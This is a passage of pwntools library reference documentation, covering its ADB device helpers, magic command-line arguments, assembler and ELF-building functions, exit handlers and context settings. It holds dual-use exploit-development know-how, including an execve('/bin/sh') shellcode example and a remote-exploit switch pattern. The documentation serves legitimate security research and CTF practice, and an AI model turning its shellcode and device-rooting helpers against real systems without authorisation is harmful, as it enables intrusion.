`pwnlib.adb.adb.getprop(*a, **kw)`
Reads a properties from the system property store.

Parameters `name` (*str*) – Optional, read a single property.

Returns If `name` is not specified, a `dict` of all properties is returned. Otherwise, a string is returned with the contents of the named property.

`pwnlib.adb.adb.install(apk, *arguments)`
Install an APK onto the device.

This is a wrapper around ‘`pm install`’, which backs ‘`adb install`’.

Parameters

- **apk** (*str*) – Path to the APK to intall (e.g. ‘`foo.apk`’)
- **arguments** – Supplementary arguments to ‘`pm install`’, e.g. ‘`-l`’, ‘`-g`’.

`pwnlib.adb.adb.interactive(*a, **kw)`
Spawns an interactive shell.

`pwnlib.adb.adb.isdir(*a, **kw)`
Return `True` if `path` is a on the target device.

Examples

```
>>> adb.isdir('/')
True
>>> adb.isdir('/init')
False
>>> adb.isdir('/does/not/exist')
False
```

`pwntools.adb.adb.listdir(*a, **kw)`

Returns a list containing the entries in the provided directory.

Note: This uses the SYNC LIST functionality, which runs in the addb SELinux context. If addb is running in the su domain ('adb root'), this behaves as expected.

Otherwise, less files may be returned due to restrictive SELinux policies on addb.

`pwntools.adb.adb.logcat(*a, **kw)`

Reads the system log file.

By default, causes logcat to exit after reading the file.

Parameters `stream` (*bool*) – If True, the contents are streamed rather than read in a one-shot manner. Default is False.

Returns If `stream` is False, returns a string containing the log data. Otherwise, it returns a `pwntools.tubes.tube.tube` connected to the log output.

`pwntools.adb.adb.makedirs(*a, **kw)`

Create a directory and all parent directories on the target device.

Note: Silently succeeds if the directory already exists.

Examples

```
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['heirarchy']
```

`pwntools.adb.adb.mkdir(*a, **kw)`

Create a directory on the target device.

Note: Silently succeeds if the directory already exists.

Parameters `path` (*str*) – Directory to create.

Examples

```
>>> adb.mkdir('/')
```

```
>>> path = '/data/local/tmp/mkdir_test'
>>> adb.exists(path)
False
>>> adb.mkdir(path)
>>> adb.exists(path)
True
```

```
>>> adb.mkdir('/init')
Traceback (most recent call last):
...
PwnlibException: mkdir failed for /init, File exists
```

`pwnlib.adb.adb.packages` (*a, **kw)
Returns a list of packages installed on the system

`pwnlib.adb.adb.pidof` (*a, **kw)
Returns a list of PIDs for the named process.

`pwnlib.adb.adb.proc_exe` (*a, **kw)
Returns the full path of the executable for the provided PID.

`pwnlib.adb.adb.process` (*a, **kw)
Execute a process on the device.

See `pwnlib.tubes.process.process` documentation for more info.

Returns A `pwnlib.tubes.process.process` tube.

Examples

```
>>> adb.root()
>>> print adb.process(['cat', '/proc/version']).recvall()
Linux version ...
```

`pwnlib.adb.adb.product` (*a, **kw)
Returns the device product identifier.

`pwnlib.adb.adb.pull` (*a, **kw)
Download a file from the device.

Parameters

- **remote_path** (*str*) – Path or directory of the file on the device.
- **local_path** (*str*) – Path to save the file to. Uses the file's name by default.

Returns The contents of the file.

Example

```
>>> _=adb.pull('/proc/version', './proc-version')
>>> print read('./proc-version')
Linux version ...
```

`pwnlib.adb.adb.push` (*a, **kw)
Upload a file to the device.

Parameters

- **local_path** (*str*) – Path to the local file to push.
- **remote_path** (*str*) – Path or directory to store the file on the device.

Returns Remote path of the file.

Example

```
>>> write('./filename', 'contents')
>>> adb.push('./filename', '/data/local/tmp')
'/data/local/tmp/filename'
>>> adb.read('/data/local/tmp/filename')
'contents'
>>> adb.push('./filename', '/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

pwnlib.adb.adb.**read** (*a, **kw)

Download a file from the device, and extract its contents.

Parameters

- **path** (*str*) – Path to the file on the device.
- **target** (*str*) – Optional, location to store the file. Uses a temporary file by default.
- **callback** (*callable*) – See the documentation for `adb.protocol.AdbClient.read`.

Examples

```
>>> print adb.read('/proc/version')
Linux version ...
>>> adb.read('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

pwnlib.adb.adb.**reboot** (*a, **kw)

Reboots the device.

pwnlib.adb.adb.**reboot_bootloader** (*a, **kw)

Reboots the device to the bootloader.

pwnlib.adb.adb.**remount** (*a, **kw)

Remounts the filesystem as writable.

pwnlib.adb.adb.**root** (*a, **kw)

Restarts adbd as root.

```
>>> adb.root()
```

pwnlib.adb.adb.**setprop** (*a, **kw)

Writes a property to the system property store.

`pwnlib.adb.adb.shell(*a, **kw)`
Returns an interactive shell.

`pwnlib.adb.adb.uninstall(package, *arguments)`
Uninstall an APK from the device.

This is a wrapper around ‘pm uninstall’, which backs ‘adb uninstall’.

Parameters

- **package** (*str*) – Name of the package to uninstall (e.g. ‘com.foo.MyPackage’)
- **arguments** – Supplementary arguments to ‘pm install’, e.g. ‘-k’.

`pwnlib.adb.adb.unlink(*a, **kw)`
Unlinks a file or directory on the target device.

Examples

```
>>> adb.unlink("/does/not/exist")
Traceback (most recent call last):
...
PwnlibException: Could not unlink '/does/not/exist': Does not exist
```

```
>>> filename = '/data/local/tmp/unlink-test'
>>> adb.write(filename, 'hello')
>>> adb.exists(filename)
True
>>> adb.unlink(filename)
>>> adb.exists(filename)
False
```

```
>>> adb.mkdir(filename)
>>> adb.write(filename + '/contents', 'hello')
>>> adb.unlink(filename)
Traceback (most recent call last):
...
PwnlibException: Cannot delete non-empty directory '/data/local/tmp/unlink-test'
↳without recursive=True
```

```
>>> adb.unlink(filename, recursive=True)
>>> adb.exists(filename)
False
```

`pwnlib.adb.adb.unlock_bootloader(*a, **kw)`
Unlocks the bootloader of the device.

Note: This requires physical interaction with the device.

`pwnlib.adb.adb.unroot(*a, **kw)`
Restarts adb as AID_SHELL.

`pwnlib.adb.adb.uptime()` → float

Returns Uptime of the device, in seconds

`pwnlib.adb.adb.wait_for_device(*a, **kw)`

Waits for a device to be connected.

By default, waits for the currently-selected device (via `context.device`). To wait for a specific device, set `context.device`. To wait for *any* device, clear `context.device`.

Returns An `AdbDevice` instance for the device.

Examples

```
>>> device = adb.wait_for_device()
```

`pwnlib.adb.adb.which(*a, **kw)`

Retrieves the full path to a binary in `$PATH` on the device

Parameters

- **name** (*str*) – Binary name
- **all** (*bool*) – Whether to return all paths, or just the first
- ***a** – Additional arguments for `adb.process()`
- ****kw** – Additional arguments for `adb.process()`

Returns Either a path, or list of paths

Example

```
>>> adb.which('sh')
'/system/bin/sh'
>>> adb.which('sh', all=True)
['/system/bin/sh']
```

```
>>> adb.which('foobar') is None
True
>>> adb.which('foobar', all=True)
[]
```

`pwnlib.adb.adb.write(*a, **kw)`

Create a file on the device with the provided contents.

Parameters

- **path** (*str*) – Path to the file on the device
- **data** (*str*) – Contents to store in the file

Examples

```
>>> adb.write('/dev/null', 'data')
>>> adb.write('/data/local/tmp/')
```

This file exists only for backward compatibility

2.2 pwnlib.args — Magic Command-Line Arguments

Pwntools exposes several magic command-line arguments and environment variables when operating in *from pwn import ** mode.

The arguments extracted from the command-line and removed from `sys.argv`.

Arguments can be set by appending them to the command-line, or setting them in the environment prefixed by `PWNLIB_`.

The easiest example is to enable more verbose debugging. Just set `DEBUG`.

```
$ PWNLIB_DEBUG=1 python exploit.py
$ python exploit.py DEBUG
```

These arguments are automatically extracted, regardless of their name, and exposed via `pwnlib.args.args`, which is exposed as the global variable `args`. Arguments which pwntools reserves internally are not exposed this way.

```
$ python -c 'from pwn import *; print args' A=1 B=Hello HOST=1.2.3.4 DEBUG
defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})
```

This is very useful for conditional code, for example determining whether to run an exploit locally or to connect to a remote server. Arguments which are not specified evaluate to an empty string.

```
if args['REMOTE']:
    io = remote('exploitme.com', 4141)
else:
    io = process('./pwnable')
```

Arguments can also be accessed directly with the dot operator, e.g.:

```
if args.REMOTE:
    ...
```

Any undefined arguments evaluate to an empty string, `''`.

The full list of supported “magic arguments” and their effects are listed below.

class pwnlib.args.PwnlibArgs

`pwnlib.args.DEBUG(x)`

Sets the logging verbosity to debug which displays much more information, including logging each byte sent by tubes.

`pwnlib.args.LOG_FILE(x)`

Sets a log file to be used via `context.log_file`, e.g. `LOG_FILE=./log.txt`

`pwnlib.args.LOG_LEVEL(x)`

Sets the logging verbosity used via `context.log_level`, e.g. `LOG_LEVEL=debug`.

`pwnlib.args.NOASLR(v)`

Disables ASLR via `context.aslr`

`pwnlib.args.NOPTRACE(v)`

Disables facilities which require `ptrace` such as `gdb.attach()` statements, via `context.noptrace`.

`pwnlib.args.NOTERM(v)`

Disables pretty terminal settings and animations.

`pwnlib.args.RANDOMIZE(v)`

Enables randomization of various pieces via `context.randomize`

`pwnlib.args.SILENT(x)`
Sets the logging verbosity to `error` which silences most output.

`pwnlib.args.STDERR(v)`
Sends logging to `stderr` by default, instead of `stdout`

`pwnlib.args.TIMEOUT(v)`
Sets a timeout for tube operations (in seconds) via `context.timeout`, e.g. `TIMEOUT=30`

`pwnlib.args.asbool(s)`
Convert a string to its boolean value

`pwnlib.args.isident(s)`
Helper function to check whether a string is a valid identifier, as passed in on the command-line.

2.3 pwnlib.asm — Assembler functions

Utilities for assembling and disassembling code.

2.3.1 Architecture Selection

Architecture, endianness, and word size are selected by using `pwnlib.context`.

Any parameters which can be specified to `context` can also be specified as keyword arguments to either `asm()` or `disasm()`.

2.3.2 Assembly

To assemble code, simply invoke `asm()` on the code to assemble.

```
>>> asm('mov eax, 0')
'\xb8\x00\x00\x00\x00'
```

Additionally, you can use constants as defined in the `pwnlib.constants` module.

```
>>> asm('mov eax, SYS_execve')
'\xb8\x0b\x00\x00\x00'
```

Finally, `asm()` is used to assemble shellcode provided by pwntools in the `shellcraft` module.

```
>>> asm(shellcraft.nop())
'\x90'
```

2.3.3 Disassembly

To disassemble code, simply invoke `disasm()` on the bytes to disassemble.

```
>>> disasm('\xb8\x0b\x00\x00\x00')
'  0:  b8 0b 00 00 00          mov     eax,0xb'
```

`pwnlib.asm.asm(code, vma = 0, extract = True, shared = False, ...) → str`
Runs `cpp()` over a given shellcode and then assembles it into bytes.

To see which architectures or operating systems are supported, look in `pwnlib.context`.

Assembling shellcode requires that the GNU assembler is installed for the target architecture. See *Installing Binutils* for more information.

Parameters

- **shellcode** (*str*) – Assembler code to assemble.
- **vma** (*int*) – Virtual memory address of the beginning of assembly
- **extract** (*bool*) – Extract the raw assembly bytes from the assembled file. If `False`, returns the path to an ELF file with the assembly embedded.
- **shared** (*bool*) – Create a shared object.
- **kwargs** (*dict*) – Any attributes on *context* can be set, e.g. `set arch='arm'`.

Examples

```
>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
'\xb8]\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
'\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
'R\x00\xa0\xe3'
```

`pwnlib.asm.cpp(shellcode, ...)` → `str`
Runs CPP over the given shellcode.

The output will always contain exactly one newline at the end.

Parameters **shellcode** (*str*) – Shellcode to preprocess

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux")
'mov al, 164\n'
>>> cpp("weee SYS_setresuid", arch = "arm", os = "linux")
'weee (0+164)\n'
>>> cpp("SYS_setresuid", arch = "thumb", os = "linux")
'(0+164)\n'
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
```

`pwnlib.asm.disasm(data, ...)` → `str`
Disassembles a bytestring into human readable assembler.

To see which architectures are supported, look in `pwnlib.context`.

To support all these architecture, we bundle the GNU `objcopy` and `objdump` with pwntools.

Parameters

- **data** (*str*) – Bytestring to disassemble.
- **vma** (*int*) – Passed through to the `-adjust-vma` argument of `objdump`

- **byte** (*bool*) – Include the hex-printed bytes in the disassembly
- **offset** (*bool*) – Include the virtual memory address in the disassembly

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
0:  b8 5d 00 00 00          mov    eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
0:  mov    eax,0x5d
>>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
mov    eax,0x5d
>>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
0:  b8 17 00 00 00          mov    eax,0x17
>>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
0:  48 c7 c0 17 00 00 00    mov    rax,0x17
>>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
0:  e51f0004              ldr    r0, [pc, #-4] ; 0x4
4:  00900052              addseq r0, r0, r2, asr r0
>>> print disasm('4ff00500'.decode('hex'), arch = 'thumb', bits=32)
0:  f04f 0005            mov.w  r0, #5
```

`pwntools.asm.make_elf` (*data*, *vma=None*, *strip=True*, *extract=True*, *shared=False*, ***kwargs*) → *str*
 Builds an ELF file with the specified binary data as its executable code.

Parameters

- **data** (*str*) – Assembled code
- **vma** (*int*) – Load address for the ELF file
- **strip** (*bool*) – Strip the resulting ELF file. Only matters if `extract=False`. (Default: `True`)
- **extract** (*bool*) – Extract the assembly from the ELF file. If `False`, the path of the ELF file is returned. (Default: `True`)
- **shared** (*bool*) – Create a Dynamic Shared Object (DSO, i.e. a `.so`) which can be loaded via `dlopen` or `LD_PRELOAD`.

Examples

This example creates an i386 ELF that just does `execve('/bin/sh',...)`.

```
>>> context.clear(arch='i386')
>>> bin_sh = '6a68682f2f2f73682f62696e89e331c96a0b5899cd80'.decode('hex')
>>> filename = make_elf(bin_sh, extract=False)
>>> p = process(filename)
>>> p.sendline('echo Hello; exit')
>>> p.recvline()
'Hello\n'
```

`pwntools.asm.make_elf_from_assembly` (*assembly*, *vma=None*, *extract=None*, *shared=False*, *strip=False*, ***kwargs*) → *str*
 Builds an ELF file with the specified assembly as its executable code.

This differs from `make_elf()` in that all ELF symbols are preserved, such as labels and local variables. Use `make_elf()` if size matters. Additionally, the default value for `extract` in `make_elf()` is different.

Note: This is effectively a wrapper around `asm()`. with setting `extract=False`, `vma=0x10000000`, and marking the resulting file as executable (`chmod +x`).

Note: ELF files created with `arch=thumb` will prepend an ARM stub which switches to Thumb mode.

Parameters

- **assembly** (*str*) – Assembly code to build into an ELF
- **vma** (*int*) – Load address of the binary (Default: `0x10000000`, or `0` if `shared=True`)
- **extract** (*bool*) – Extract the full ELF data from the file. (Default: `False`)
- **shared** (*bool*) – Create a shared library (Default: `False`)
- **kwargs** (*dict*) – Arguments to pass to `asm()`.

Returns The path to the assembled ELF (`extract=False`), or the data of the assembled ELF.

Example

This example shows how to create a shared library, and load it via `LD_PRELOAD`.

```
>>> context.clear()
>>> context.arch = 'amd64'
>>> sc = 'push rbp; mov rbp, rsp;'
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
'Hello\nWorld\n'
```

The same thing can be done with `make_elf()`, though the sizes are different. They both

```
>>> file_a = make_elf(asm('nop'), extract=True)
>>> file_b = make_elf_from_assembly('nop', extract=True)
>>> file_a[:4] == file_b[:4]
True
>>> len(file_a) < 0x200
True
>>> len(file_b) > 0x1000
True
```

2.3.4 Internal Functions

These are only included so that their tests are run.

You should never need these.

`pwnlib.asm.dpkg_search_for_binutils` (*arch, util*)

Use `dpkg` to search for any available assemblers which will work.

Returns A list of candidate package names.

```
>>> pwnlib.asm.dpkg_search_for_binutils('aarch64', 'as')
['binutils-aarch64-linux-gnu']
```

`pwnlib.asm.print_binutils_instructions` (*util*, *context*)

On failure to find a binutils utility, inform the user of a way they can get it easily.

Doctest:

```
>>> context.clear(arch = 'amd64')
>>> pwnlib.asm.print_binutils_instructions('as', context)
Traceback (most recent call last):
...
PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64',
↳bits = 64, endian = 'little')
Try installing binutils for this architecture:
$ sudo apt-get install binutils
```

2.4 `pwnlib.atexception` — Callbacks on unhandled exception

Analogous to `atexit`, this module allows the programmer to register functions to be run if an unhandled exception occurs.

`pwnlib.atexception.register` (*func*, **args*, ***kwargs*)

Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exception-handler one could write:

```
with context.local(log_level = 'error'):
    atexception.register(handler)
```

An identifier is returned which can be used to unregister the exception-handler.

This function can be used as a decorator:

```
@atexception.register
def handler():
    ...
```

Notice however that this will bind `handler` to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:

```
atexception.unregister(handler)
```

This function is thread safe.

`pwnlib.atexception.unregister` (*func*)

Remove *func* from the collection of registered functions. If *func* isn't registered this is a no-op.

2.5 `pwnlib.atexit` — Replacement for `atexit`

Replacement for the Python standard library's `atexit.py`.

Whereas the standard `atexit` module only defines `atexit.register()`, this replacement module also defines `unregister()`.

This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard `atexit` is used.

`pwntools.atexit.register(func, *args, **kwargs)`

Registers a function to be called on program termination. The function will be called with positional arguments `args` and keyword arguments `kwargs`, i.e. `func(*args, **kwargs)`. The current `context` is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exit-handler one could write:

```
with context.local(log_level = 'error'):
    atexit.register(handler)
```

An identifier is returned which can be used to unregister the exit-handler.

This function can be used as a decorator:

```
@atexit.register
def handler():
    ...
```

Notice however that this will bind `handler` to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:

```
atexit.unregister(handler)
```

This function is thread safe.

`pwntools.atexit.unregister(ident)`

Remove the exit-handler identified by `ident` from the list of registered handlers. If `ident` isn't registered this is a no-op.

2.6 pwntools.constants — Easy access to header file constants

Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it.

Example

```
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
```

The submodule `freebsd` contains all constants for FreeBSD, while the constants for Linux have been split up by architecture.

The variables of the submodules will be “lifted up” by setting the `pwntools.context.arch` or `pwntools.context.os` in a manner similar to what happens in `pwntools.shellcraft`.

Example

```
>>> with context.local(os = 'freebsd'):
...     print int(constants.SYS_stat)
188
>>> with context.local(os = 'linux', arch = 'i386'):
...     print int(constants.SYS_stat)
106
>>> with context.local(os = 'linux', arch = 'amd64'):
...     print int(constants.SYS_stat)
4
```

```
>>> with context.local(arch = 'i386', os = 'linux'):
...     print constants.SYS_execve + constants.PROT_WRITE
13
>>> with context.local(arch = 'amd64', os = 'linux'):
...     print constants.SYS_execve + constants.PROT_WRITE
61
>>> with context.local(arch = 'amd64', os = 'linux'):
...     print constants.SYS_execve + constants.PROT_WRITE
61
```

2.7 `pwntools.config` — Pwntools Configuration File

Allows per-user and per-host configuration of Pwntools settings.

The list of configurable options includes all of the logging symbols and colors, as well as all of the default values on the global context object.

The configuration file is read from `~/.pwn.conf` and `/etc/pwn.conf`.

The configuration file is only read in from `pwn import *` mode, and not when used in library mode (`import pwntools`). To read the configuration file in library mode, invoke `config.initialize()`.

The context section supports complex types, at least as far as is supported by `pwntools.util.safeeval.expr`.

```
[log]
success.symbol=
error.symbol=
info.color=blue

[context]
adb_port=4141
randomize=1
timeout=60
terminal=['x-terminal-emulator', '-e']
```

2.8 pwntools.context — Setting runtime variables

Many settings in pwntools are controlled via the global variable `context`, such as the selected target operating system, architecture, and bit-width.

In general, exploits will start with something like:

```
from pwn import *
context.arch = 'amd64'
```

Which sets up everything in the exploit for exploiting a 64-bit Intel binary.

The recommended method is to use `context.binary` to automatically set all of the appropriate values.

```
from pwn import *
context.binary = './challenge-binary'
```

2.8.1 Module Members

Implements context management so that nested/scoped contexts and threaded contexts work properly and as expected.

class `pwntools.context.ContextType` (**kwargs)

Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable `context`, available via `from pwn import *` as `context`.

The context is usually specified at the top of the Python file for clarity.

```
#!/usr/bin/env python
context.update(arch='i386', os='linux')
```

Currently supported properties and their defaults are listed below. The defaults are inherited from `pwntools.context.ContextType.defaults`.

Additionally, the context is thread-aware when using `pwntools.context.Thread` instead of `threading.Thread` (all internal pwntools threads use the former).

The context is also scope-aware by using the `with` keyword.

Examples

```
>>> context.clear()
>>> context.update(os='linux')
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux
↪'}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
...     print pwntools.asm.asm('nop').encode('hex')
```

(continues on next page)

(continued from previous page)

```

>>> nop()
00f020e3
>>> with context.local(arch = 'i386'):
...     nop()
90
>>> from pwnlib.context import Thread as PwnThread
>>> from threading import Thread as NormalThread
>>> with context.local(arch = 'mips'):
...     pwnthread = PwnThread(target=nop)
...     thread = NormalThread(target=nop)
>>> # Normal thread uses the default value for arch, 'i386'
>>> _=(thread.start(), thread.join())
90
>>> # Pwnthread uses the correct context from creation-time
>>> _=(pwnthread.start(), pwnthread.join())
00000000
>>> nop()
00f020e3

```

Initialize the ContextType structure.

All keyword arguments are passed to `update()`.

class Thread (*args, **kwargs)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as `pwnlib.context.Thread` and on the context singleton object inside the context module as `pwnlib.context.context.Thread`.

Threads created by using the native `:class`threading`.Thread`` will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```

>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print context.arch
...     context.arch = 'mips'
...     print context.arch
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print context.arch
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())

```

(continues on next page)

(continued from previous page)

```

arm
mips
>>> # Again, the main thread is unchanged
>>> print context.arch
arm

```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

clear(*a, **kw)

Clears the contents of the context. All values are set to their defaults.

Parameters

- **a** – Arguments passed to update
- **kw** – Arguments passed to update

Examples

```

>>> # Default value
>>> context.clear()
>>> context.arch == 'i386'
True
>>> context.arch = 'arm'
>>> context.arch == 'i386'
False
>>> context.clear()
>>> context.arch == 'i386'
True

```

copy() → dict

Returns a copy of the current context as a dictionary.

Examples

```

>>> context.clear()
>>> context.os = 'linux'
>>> vars(context) == {'os': 'linux'}
True

```

local(kwargs) → context manager**

Create a context manager for use with the `with` statement.

For more information, see the example below or PEP 343.

Parameters **kwargs** – Variables to be assigned in the new environment.

Returns ContextType manager for managing the old and new environment.

Examples

```
>>> context.clear()
>>> context.timeout = 1
>>> context.timeout == 1
True
>>> print context.timeout
1.0
>>> with context.local(timeout = 2):
...     print context.timeout
...     context.timeout = 3
...     print context.timeout
2.0
3.0
>>> print context.timeout
1.0
```

quiet_func (*function*)

Similar to *quiet*, but wraps a whole function.

reset_local ()

Deprecated. Use *clear* ().

update (*args, **kwargs)

Convenience function, which is shorthand for setting multiple variables at once.

It is a simple shorthand such that:

```
context.update(os = 'linux', arch = 'arm', ...)
```

is equivalent to:

```
context.os = 'linux'
context.arch = 'arm'
...
```

The following syntax is also valid:

```
context.update({'os': 'linux', 'arch': 'arm'})
```

Parameters *kwargs* – Variables to be assigned in the environment.

Examples

```
>>> context.clear()
>>> context.update(arch = 'i386', os = 'linux')
>>> context.arch, context.os
('i386', 'linux')
```

adb

Returns an argument array for connecting to adb.

Unless \$ADB_PATH is set, uses the default adb binary in \$PATH.

adb_host

Sets the target host which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from `ANDROID_ADB_SERVER_HOST`, or set to the default `'localhost'`.

adb_port

Sets the target port which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from `ANDROID_ADB_SERVER_PORT`, or set to the default 5037.

arch

Target binary architecture.

Allowed values are listed in `pwnlib.context.ContextType.architectures`.

Side Effects:

If an architecture is specified which also implies additional attributes (e.g. `'amd64'` implies 64-bit words, `'powerpc'` implies big-endian), these attributes will be set on the context if a user has not already set a value.

The following properties may be modified.

- `bits`
- `endian`

Raises `AttributeError` – An invalid architecture was specified

Examples

```
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True
```

```
>>> context.arch = 'mips'
>>> context.arch == 'mips'
True
```

```
>>> context.arch = 'doge'
Traceback (most recent call last):
...
AttributeError: arch must be one of ['aarch64', ..., 'thumb']
```

```
>>> context.arch = 'ppc'
>>> context.arch == 'powerpc' # Aliased architecture
True
```

```
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
```

Note that expressly setting `bits` means that we use that value instead of the default

(continued from previous page)

```
...
AttributeError: bits must be > 0 (-1)
```

buffer_size

Internal buffer size to use for `pwnlib.tubes.tube.tube` objects.

This is not the maximum size of the buffer, but this is the amount of data which is passed to each raw read syscall (or equivalent).

bytes

Target machine word size, in bytes (i.e. the size of general purpose registers).

This is a convenience wrapper around `bits // 8`.

Examples

```
>>> context.bytes = 1
>>> context.bits == 8
True
```

```
>>> context.bytes = 0
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (0)
```

cache_dir

Directory used for caching data.

Note: May be either a path string, or None.

Example

```
>>> cache_dir = context.cache_dir
>>> cache_dir is not None
True
>>> os.chmod(cache_dir, 0o000)
>>> context.cache_dir is None
True
>>> os.chmod(cache_dir, 0o755)
>>> cache_dir == context.cache_dir
True
```

cyclic_alphabet

Cyclic alphabet.

Default value is `string.ascii_lowercase`.

cyclic_size

Cyclic pattern size.

Default value is `4`.

```
defaults = {'adb_host': 'localhost', 'adb_port': 5037, 'arch': 'i386', 'aslr': True}
Default values for pwnlib.context.ContextType
```

delete_corefiles

Whether pwntools automatically deletes corefiles after exiting. This only affects corefiles accessed via `process.corefile`.

Default value is `False`.

device

Sets the device being operated on.

endian

Endianness of the target machine.

The default value is `'little'`, but changes according to `arch`.

Raises `AttributeError` – An invalid endianness was provided

Examples

```
>>> context.clear()
>>> context.endian == 'little'
True
```

```
>>> context.endian = 'big'
>>> context.endian
'big'
```

```
>>> context.endian = 'be'
>>> context.endian == 'big'
True
```

```
>>> context.endian = 'foobar'
Traceback (most recent call last):
...
AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little
↪']
```

endianness

Legacy alias for `endian`.

Examples

```
>>> context.endian == context.endianness
True
```

```
endiannesses = {'be': 'big', 'big': 'big', 'eb': 'big', 'el': 'little', 'le': 'li}
Valid values for endian
```

gdbinit

Path to the `gdbinit` that is used when running GDB locally.

This is useful if you want pwntools-launched GDB to include some additional modules, like PEDA but you do not want to have GDB include them by default.

The setting will only apply when GDB is launched locally since remote hosts may not have the necessary requirements for the `gdbinit`.

If set to an empty string, GDB will use the default `~/gdbinit`.

Default value is `""`.

kernel

Target machine's kernel architecture.

Usually, this is the same as `arch`, except when running a 32-bit binary on a 64-bit kernel (e.g. `i386-on-amd64`).

Even then, this doesn't matter much – only when the the segment registers need to be known

log_console

Sets the default logging console target.

Examples

```
>>> context.log_level = 'warn'
>>> log.warn("Hello")
[!] Hello
>>> context.log_console=open('/dev/null', 'w')
>>> log.warn("Hello")
>>> context.clear()
```

log_file

Sets the target file for all logging output.

Works in a similar fashion to `log_level`.

Examples

```
>>> context.log_file = 'foo.txt'
>>> log.debug('Hello!')
>>> with context.local(log_level='ERROR'):
...     log.info('Hello again!')
>>> with context.local(log_file='bar.txt'):
...     log.debug('Hello from bar!')
>>> log.info('Hello from foo!')
>>> file('foo.txt').readlines() [-3]
'...:DEBUG:...:Hello!\n'
>>> file('foo.txt').readlines() [-2]
'...:INFO:...:Hello again!\n'
>>> file('foo.txt').readlines() [-1]
'...:INFO:...:Hello from foo!\n'
>>> file('bar.txt').readlines() [-1]
'...:DEBUG:...:Hello from bar!\n'
```

log_level

Sets the verbosity of pwntools logging mechanism.

More specifically it controls the filtering of messages that happens inside the handler for logging to the screen. So if you want e.g. log all messages to a file, then this attribute makes no difference to you.

Valid values are specified by the standard Python logging module.

Default value is set to `INFO`.

Examples

```
>>> context.log_level = 'error'
>>> context.log_level == logging.ERROR
True
>>> context.log_level = 10
>>> context.log_level = 'foobar'
Traceback (most recent call last):
...
AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG',
↳ 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
```

nopttrace

Disable all actions which rely on `ptrace`.

This is useful for switching between local exploitation with a debugger, and remote exploitation (without a debugger).

This option can be set with the `NOPTTRACE` command-line argument.

os

Operating system of the target machine.

The default value is `linux`.

Allowed values are listed in `pwnlib.context.ContextType.oses`.

Examples

```
>>> context.os = 'linux'
>>> context.os = 'foobar'
Traceback (most recent call last):
...
AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux',
↳ 'windows']
```

```
oses = ['android', 'cgc', 'freebsd', 'linux', 'windows']
